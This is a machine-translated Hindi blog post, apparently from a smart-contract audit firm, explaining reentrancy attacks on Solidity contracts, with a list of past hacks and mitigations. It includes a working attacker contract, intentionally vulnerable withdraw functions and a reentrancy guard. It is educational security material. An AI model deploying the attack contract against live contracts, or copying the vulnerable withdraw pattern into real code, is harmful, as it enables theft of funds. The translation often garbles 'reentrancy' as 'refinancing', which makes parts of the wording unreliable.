रीएंट्रेंसी अटैक के चंगुल से स्मार्ट कॉन्ट्रैक्ट्स से कैसे बचें? प्लेटोब्लॉकचैन डेटा इंटेलिजेंस। लंबवत खोज। ऐ.

रीएंट्रेंसी अटैक के चंगुल से स्मार्ट कॉन्ट्रैक्ट्स से कैसे बचें?

समय पढ़ें: 6 मिनट

अगर हम सबसे बड़े क्रिप्टो हैक और आंखों में पानी लाने वाले आंकड़ों पर करीब से नजर डालते हैं, तो वे कोडिंग खामियों से गहरे हो जाएंगे।

सुरक्षा भेद्यता की ऐसी ही एक सामान्य घटना है रीएंट्रेंसी अटैक। हालांकि, दुस्साहसपूर्ण पुन: प्रवेश के कारण होने वाला विनाशकारी प्रभाव हमले को शुरू करने जितना आसान नहीं लग सकता है।

एक परिचित और अच्छी तरह से प्रचारित मुद्दा होने के बावजूद, स्मार्ट अनुबंधों में पुनर्वित्त बग की उपस्थिति हमेशा अपरिहार्य होती है। 

पिछले वर्षों में हैकर्स द्वारा कितनी बार पुनर्वित्त भेद्यता का शोषण किया गया था? यह कैसे काम करता है? रीएन्ट्रेंसी बग्स के लिए स्मार्ट कॉन्ट्रैक्ट्स को फंड खोने से कैसे रोका जाए? इन सवालों के जवाब इस ब्लॉग में पाएं।

तो, जल्द ही, स्मृति में सबसे बड़े पुन: प्रवेश हमलों पर ब्रश करें। 

कुछ सबसे बदनाम रियल-टाइम रीएंट्रेंसी हैक्स 

परियोजनाओं पर सबसे विनाशकारी प्रभाव पैदा करने वाले पुनर्वित्त हमले इन दोनों में से एक या यहां तक ​​कि दोनों को समाप्त कर देते हैं। 

  • स्मार्ट अनुबंधों से ईथर को पूरी तरह से हटा दें
  • हैकर्स स्मार्ट कॉन्ट्रैक्ट कोड में घुसपैठ कर रहे हैं

अब हम रीएंट्रेंसी हमलों और उनके प्रभाव के कुछ मामले देख सकते हैं। 

जून 2016: डीएओ हमला – 3.54M या $150M ईथर

अप्रैल 2020: Uniswap/Lendf.Me हैक – $25M

May 2021: बर्गरस्वैप हैक - $7.2M

अगस्त 2021: क्रीम फाइनेंस हैक - $18.8M

मार्च 2022: ओला फाइनेंस - $3.6M

2022 जुलाई: ओमनी प्रोटोकॉल - $1.43M

यह बिल्कुल स्पष्ट है कि रीएंट्रेंसी के हमले कभी पुराने नहीं हुए हैं। आइए निम्नलिखित अंशों में इसके बारे में गहरी जानकारी प्राप्त करें। 

रीएंट्रेंसी हमले का अवलोकन

जैसा कि "रीएंट्रेंसी" नाम से है, जिसका अर्थ है "बार-बार पुनः प्रवेश करना।" पुनर्वित्त हमले में दो अनुबंध शामिल हैं: पीड़ित अनुबंध और हमलावर अनुबंध। 

हमलावर अनुबंध पीड़ित अनुबंध में पुनर्प्रवेश भेद्यता का फायदा उठाता है। इसे प्राप्त करने के लिए यह विथड्रॉ फंक्शन का उपयोग करता है। 

पीड़ित अनुबंध में शेष राशि अपडेट होने से पहले बार-बार कॉल करके पीड़ित अनुबंध से धन निकालने के लिए हमलावर अनुबंध निकासी फ़ंक्शन को कॉल करता है। पीड़ित अनुबंध शेष राशि की जांच करेगा, धन भेजेगा और शेष राशि को अपडेट करेगा। 

लेकिन धन भेजने और अनुबंध में शेष राशि को अद्यतन करने की समय सीमा के भीतर, हमलावर अनुबंध धन निकालने के लिए निरंतर कॉल करता है। नतीजतन, पीड़ित अनुबंध में शेष राशि तब तक अपडेट नहीं की जाती जब तक कि हमलावर अनुबंध सभी निधियों को समाप्त नहीं कर देता।

गंभीरता और पुनर्प्रवेश शोषण की लागत प्रदर्शन की सख्त आवश्यकता को सचेत करती है स्मार्ट अनुबंध ऑडिट ऐसी त्रुटियों की अनदेखी की संभावना से इंकार करने के लिए। 

रीएंट्रेंसी अटैक का उदाहरणात्मक दृश्य

आइए नीचे दिए गए सरलीकृत चित्रण से पुनर्प्रवेश आक्रमण की अवधारणा की थाह लें। 

यहां दो अनुबंध हैं: कमजोर अनुबंध और हैकर अनुबंध

हैकर अनुबंध कमजोर अनुबंध से हटने के लिए कहता है। कॉल प्राप्त करने पर, कमजोर अनुबंध हैकर अनुबंध में धन की जांच करता है और फिर हैकर को धन हस्तांतरित करता है। 

हैकर धन प्राप्त करता है और फ़ॉलबैक फ़ंक्शन को लागू करता है, जो कमजोर अनुबंध में शेष राशि को अद्यतन करने से पहले ही फिर से असुरक्षित अनुबंध में कॉल करता है। इस प्रकार एक ही ऑपरेशन को दोहराते हुए, हैकर पूरी तरह से कमजोर अनुबंध से धन वापस ले लेता है। 

रीएंट्रेंसी अटैक के चंगुल से स्मार्ट कॉन्ट्रैक्ट्स से कैसे बचें?

हमलावर द्वारा उपयोग किए जाने वाले फ़ॉलबैक फ़ंक्शन की विशेषताएं 

  • वे बाहरी रूप से कॉल करने योग्य हैं। यानी उन्हें लिखे गए अनुबंध के भीतर से नहीं बुलाया जा सकता है
  • अनाम समारोह
  • फ़ॉलबैक फ़ंक्शन में इसके अंदर मनमाना तर्क शामिल नहीं है
  • फ़ॉलबैक ट्रिगर होता है जब ETH को इसके संलग्न स्मार्ट अनुबंध पर भेजा जाता है, और कोई प्राप्त () फ़ंक्शन घोषित नहीं किया जाता है।

तकनीकी दृष्टिकोण से पुनर्वित्त हमले का विश्लेषण 

आइए एक नमूना अनुबंध लें और समझें कि रीएन्ट्रेंसी अटैक कैसे होता है।

दुर्भावनापूर्ण अनुबंध

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

यह हमलावर अनुबंध है जिसमें हमलावर 2ETH जमा करता है। हमलावर कमजोर अनुबंध में निकासी फ़ंक्शन को कॉल करता है। एक बार कमजोर अनुबंध से धन प्राप्त हो जाने के बाद, फ़ॉलबैक फ़ंक्शन चालू हो जाता है। 

फ़ॉलबैक तब निकासी फ़ंक्शन को निष्पादित करता है और फंड को कमजोर अनुबंध से हटा देता है। यह चक्र तब तक चलता रहता है जब तक कि कमजोर अनुबंध से धन पूरी तरह से समाप्त नहीं हो जाता।

कमजोर अनुबंध

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

कमजोर अनुबंध में 30ETH है। इसमें निकासी () फ़ंक्शन हमलावर को अनुरोधित राशि भेजता है। चूंकि शेष राशि अपडेट नहीं की जाती है, टोकन बार-बार हमलावर को स्थानांतरित किए जाते हैं। 

पुनर्वित्त हमलों के प्रकार

  • सिंगल फंक्शन रीएंट्रेंसी 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

msg.sender.call.value(amount)() फंड ट्रांसफर करता है जिसके बाद अटैकर कॉन्ट्रैक्ट फॉलबैक फंक्शन 'विद्ड्रॉल()' को फिर से बैलेंस [msg.sender] = 0 अपडेट होने से पहले कॉल करता है।

  • क्रॉस-फ़ंक्शन पुनर्वित्त
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

क्रॉस-फंक्शन रीएंट्रेंसी की पहचान करना अधिक जटिल है। यहाँ अंतर यह है कि फ़ॉलबैक फ़ंक्शन कॉल ट्रांसफर करता है, एकल-फ़ंक्शन रीएन्ट्रेंसी के विपरीत, जहां यह निकासी कहता है।

पुनर्वित्त हमलों के खिलाफ रोकथाम

चेक-इफेक्ट्स-इंटरैक्शन पैटर्न: चेक-इफेक्ट्स-इंटरैक्शन पैटर्न कार्यों को संरचित करने में मदद करता है। 

कार्यक्रम को इस तरह से कोडित किया जाना चाहिए जो पहले शर्तों की जांच करे। एक बार चेक पास करने के बाद, अनुबंधों की स्थिति पर पड़ने वाले प्रभावों का समाधान किया जाना चाहिए, जिसके बाद बाहरी कार्यों को बुलाया जा सकता है। 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

यहाँ पुनर्लेखित कोड चेक-इफेक्ट्स-इंटरैक्शन पैटर्न का अनुसरण करता है। यहां एक्सटर्नल कॉल करने से पहले बैलेंस जीरो कर दिया जाता है। 

संशोधक का उपयोग

संशोधक noReentrant फ़ंक्शन पर लागू होता है यह सुनिश्चित करता है कि कोई पुनर्वित्त कॉल नहीं है। 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

अंत में

सबसे प्रभावी कदम QuillAudits जैसी प्रमुख सुरक्षा फर्म से स्मार्ट कॉन्ट्रैक्ट ऑडिट करना है, जिसमें ऑडिटर कोड की संरचना पर कड़ी नज़र रखते हैं और जाँचते हैं कि फ़ॉलबैक फ़ंक्शन कैसा प्रदर्शन करता है। अध्ययन किए गए पैटर्न के आधार पर, यदि कोई प्रतीत होता है तो कोड के पुनर्गठन के लिए सिफारिशें दी जाती हैं कमजोर व्यवहार

किसी भी नुकसान का शिकार होने से ठीक पहले धन की सुरक्षा सुनिश्चित की जाती है। 

अक्सर पूछे गए प्रश्न

एक पुनर्वित्त हमला क्या है?

एक पुनर्प्रवेश हमला तब होता है जब असुरक्षित अनुबंध में कोई फ़ंक्शन किसी अविश्वसनीय अनुबंध को कॉल करता है। अविश्वसनीय अनुबंध हमलावर का अनुबंध होगा जो कमजोर अनुबंध के लिए पुनरावर्ती कॉल करता है जब तक कि धन पूरी तरह से समाप्त नहीं हो जाता। 

एक पुनः प्रवेशी क्या है?

पुनः प्रवेश करने का अर्थ है कोड के निष्पादन में बाधा डालना और प्रक्रिया को फिर से शुरू करना, जिसे पुनः दर्ज करना भी कहा जाता है।

एक पुनर्वित्त गार्ड क्या है?

रीएंट्रेंसी गार्ड एक संशोधक का उपयोग करता है जो फ़ंक्शन को बार-बार बुलाए जाने से रोकता है। रीएंट्रेंसी गार्ड का उदाहरण खोजने के लिए ऊपर दिया गया ब्लॉग पढ़ें।

स्मार्ट कॉन्ट्रैक्ट्स पर कुछ हमले क्या हैं?

स्मार्ट कॉन्ट्रैक्ट कई कमजोरियों के संपर्क में हैं, जैसे कि पुनर्वित्त, टाइमस्टैम्प निर्भरता, अंकगणितीय अतिप्रवाह, DoS हमले, और इसी तरह। इसलिए, ऑडिटिंग यह सुनिश्चित करने के लिए जरूरी है कि अनुबंध के तर्क को ध्वस्त करने वाली कोई बग न हो।

69 दृश्य

समय टिकट:

से अधिक क्विलश